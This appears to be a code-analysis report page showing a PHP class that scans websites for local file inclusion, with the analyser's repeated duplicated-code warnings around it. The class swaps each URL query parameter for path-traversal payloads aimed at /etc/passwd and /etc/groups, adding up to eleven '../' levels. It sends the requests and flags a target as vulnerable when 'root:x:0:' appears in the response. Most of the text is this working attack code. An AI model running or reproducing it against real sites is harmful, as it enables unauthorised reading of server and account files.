This project does not seem to handle request data directly as such no vulnerable execution paths were found.
include
, or for example
via PHP's auto-loading mechanism.
These results are based on our legacy PHP analysis, consider migrating to our new PHP analysis engine instead. Learn more
1 | <?php |
||
2 | |||
3 | namespace Aszone\Vulnerabilities; |
||
4 | |||
5 | use GuzzleHttp\ClientInterface; |
||
6 | use Psr\Log\LoggerInterface; |
||
7 | use Aszone\Vulnerabilities\Log\Logger; |
||
8 | |||
9 | class LocalFileInclusion implements VulnerabilityScanner |
||
10 | { |
||
11 | const EXPLOIT1 = '../etc/passwd'; |
||
12 | const EXPLOIT2 = '../etc/groups'; |
||
13 | const EXPLOIT1REGEX = 'root:x:0:'; |
||
14 | const EXPLOIT2REGEX = 'root:x:0:'; |
||
15 | |||
16 | private $client; |
||
17 | |||
18 | private $logger; |
||
19 | |||
20 | View Code Duplication | public function __construct(ClientInterface $client, LoggerInterface $logger = null) |
|
0 ignored issues
–
show
|
|||
21 | { |
||
22 | $this->client = $client; |
||
23 | |||
24 | if (empty($logger)) { |
||
25 | $logger = new Logger; |
||
26 | } |
||
27 | |||
28 | $this->logger = $logger; |
||
29 | } |
||
30 | |||
31 | public function isVulnerable($target) |
||
32 | { |
||
33 | if ($this->isLfiPossible($target)) { |
||
34 | return $this->verify($target); |
||
35 | } |
||
36 | |||
37 | return false; |
||
38 | } |
||
39 | |||
40 | public function isLfiPossible($target) |
||
41 | { |
||
42 | return (bool) preg_match("/\?|(.+?)\=/", $target); |
||
43 | } |
||
44 | |||
45 | View Code Duplication | protected function verify($target) |
|
0 ignored issues
–
show
This method seems to be duplicated in your project.
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository.
Loading history...
|
|||
46 | { |
||
47 | $urls = $this->generateUrls($target); |
||
48 | $this->logger->info('\n'); |
||
49 | |||
50 | foreach ($urls as $url) { |
||
51 | if ($this->attack($url)) { |
||
52 | $this->logger->info('Is Vull'); |
||
53 | |||
54 | return $url; |
||
55 | } |
||
56 | } |
||
57 | |||
58 | return false; |
||
59 | } |
||
60 | |||
61 | View Code Duplication | protected function attack($url) |
|
0 ignored issues
–
show
This method seems to be duplicated in your project.
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository.
Loading history...
|
|||
62 | { |
||
63 | $this->logger->info('.'); |
||
64 | |||
65 | try { |
||
66 | $body = $this->client->get($url)->getBody()->getContents(); |
||
67 | |||
68 | if ($body |
||
69 | && $this->checkSuccess($body) |
||
70 | ) { |
||
71 | return $url; |
||
72 | } |
||
73 | } catch (\Exception $e) { |
||
74 | $this->logger->error('#'); |
||
75 | } |
||
76 | |||
77 | return false; |
||
78 | } |
||
79 | |||
80 | protected function checkSuccess($body) |
||
81 | { |
||
82 | return preg_match('/'.static::EXPLOIT1REGEX.'|'.static::EXPLOIT2REGEX.'/', $body); |
||
83 | } |
||
84 | |||
85 | View Code Duplication | public function generateUrls($target) |
|
0 ignored issues
–
show
This method seems to be duplicated in your project.
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository.
Loading history...
|
|||
86 | { |
||
87 | $this->logger->info('.\n'.$target); |
||
88 | |||
89 | $urls1 = $this->generateUrlsByExploit($target, static::EXPLOIT1); |
||
90 | $urls2 = $this->generateUrlsByExploit($target, static::EXPLOIT2); |
||
91 | |||
92 | return array_merge($urls1, $urls2); |
||
93 | } |
||
94 | |||
95 | protected function generateUrlsByExploit($target, $exploit) |
||
96 | { |
||
97 | $explodeUrl = parse_url($target); |
||
98 | $explodeQuery = explode('&', $explodeUrl['query']); |
||
99 | |||
100 | View Code Duplication | foreach ($explodeQuery as $keyQuery => $query) { |
|
0 ignored issues
–
show
This code seems to be duplicated across your project.
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository.
Loading history...
|
|||
101 | $explodeQueryEqual = explode('=', $query); |
||
102 | $wordsValue[$explodeQueryEqual[0]] = $explodeQueryEqual[1]; |
||
103 | } |
||
104 | |||
105 | View Code Duplication | foreach ($wordsValue as $keyValue => $value) { |
|
0 ignored issues
–
show
This code seems to be duplicated across your project.
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository.
Loading history...
|
|||
106 | $urls[] = str_replace($keyValue.'='.$value, $keyValue.'=??????????', $target); |
||
107 | } |
||
108 | |||
109 | $urlFinal = []; |
||
110 | View Code Duplication | foreach ($urls as $url) { |
|
0 ignored issues
–
show
This code seems to be duplicated across your project.
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation. You can also find more detailed suggestions in the “Code” section of your repository.
Loading history...
|
|||
111 | $urlFinal[] = str_replace('??????????', $exploit, $url); |
||
112 | $breakFolder = '../'; |
||
113 | |||
114 | for ($i = 0; $i < 10; ++$i) { |
||
115 | $urlFinal[] = str_replace('??????????', $breakFolder.$exploit, $url); |
||
116 | $breakFolder .= '../'; |
||
117 | } |
||
118 | } |
||
119 | |||
120 | return $urlFinal; |
||
121 | } |
||
122 | |||
123 | |||
124 | |||
125 | } |
||
126 |
Duplicated code is one of the most pungent code smells. If you need to duplicate the same code in three or more different places, we strongly encourage you to look into extracting the code into a single class or operation.
You can also find more detailed suggestions in the “Code” section of your repository.